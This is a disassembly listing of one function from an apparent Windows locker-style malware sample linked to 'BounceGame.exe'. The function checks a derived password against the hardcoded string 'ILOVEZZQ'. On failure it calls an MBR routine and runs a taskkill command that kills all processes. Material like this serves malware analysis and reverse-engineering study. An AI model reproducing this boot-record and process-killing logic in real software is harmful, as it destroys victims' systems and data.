Function at 0x4020bf
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
lea rcx, [0x0048a151]
call sym.system
mov dword [0x004aa040], 1
mov edx, 2
mov ecx, 2
call dbg.GotoXY(int, int)
mov dword [0x004aa05c], 1
lea rcx, [0x0048a190]
call dbg.printf(char const*, ::)
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x0048a29b]
call dbg.printf(char const*, ::)
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rdx, rax
mov rcx, qword [0x0048ec20]
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____
lea rcx, [0x0048a2af]
call dbg.printf(char const*, ::)
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rdx, rax
mov rcx, qword [0x0048ec20]
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::string_const_
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::string_const_
lea rax, [rbp - 0x50]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call dbg.KeyToPsw(std::string, std::string)
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.00450c10
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00450c10
lea rax, [rbp - 0x50]
lea rdx, str.ILOVEZZQ
mov rcx, rax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
test al, al
je 0x402205
mov byte [0x004aa030], 1
lea rcx, [0x0048a2d0]
call dbg.printf(char const*, ::)
lea rcx, str.start_explorer.exe
call sym.system
lea rcx, str.taskkill__f__im_BounceGame.exe
call sym.system
jmp 0x402292
lea rcx, [0x0048a34f]
call dbg.printf(char const*, ::)
call dbg.MBR()
lea rax, [rbp - 1]
mov rcx, rax
call fcn.00447580
lea rdx, [rbp - 1]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.taskkill__f__fi__pid_ne_1
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 1]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov edx, 0x10
mov rcx, rax
call method.std::string.operator___unsigned_long_long_
mov byte [rax], 0x22
lea rax, [rbp - 0x60]
mov edx, 0x19
mov rcx, rax
call method.std::string.operator___unsigned_long_long_
mov byte [rax], 0x22
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
call sym.system
lea rcx, str.Goodbye__n
call dbg.printf(char const*, ::)
jmp 0x402284
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00450c10
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00450c10
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.00450c10
jmp 0x40235e
add rsp, 0x88
pop rbx
pop rbp
ret